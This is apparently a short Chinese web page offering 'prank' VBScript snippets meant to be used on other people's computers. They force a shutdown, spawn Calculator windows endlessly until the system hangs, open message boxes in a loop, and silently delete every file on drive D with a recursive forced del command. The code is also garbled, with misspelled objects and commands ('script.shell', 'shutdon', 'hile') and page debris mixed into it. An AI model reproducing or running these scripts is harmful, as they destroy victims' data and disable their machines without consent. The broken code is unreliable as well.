前言
01直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = script.createobject("script.shell") WSHshell.run "shutdon -f -s -t 00",0 ,true
02打开无数个计算器，直到死机 ------------------------------------------------------------------------------ set sh=createobject("script.shell") do sh.run "calc" loop
03删除D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = script.createobject("script.shell") WSHshell.run "cmd /c ""del d:\. / f /q /s""",0 ,true
04不断弹出窗口 ---------------------------------------------------------------------------- 复制代码代码如下:hile(1) msgbox "哈哈 你被耍了！" loop
vbs恶搞代码，整人代码，非常简单(vbs整人代码无限弹窗)，转载请注明出处。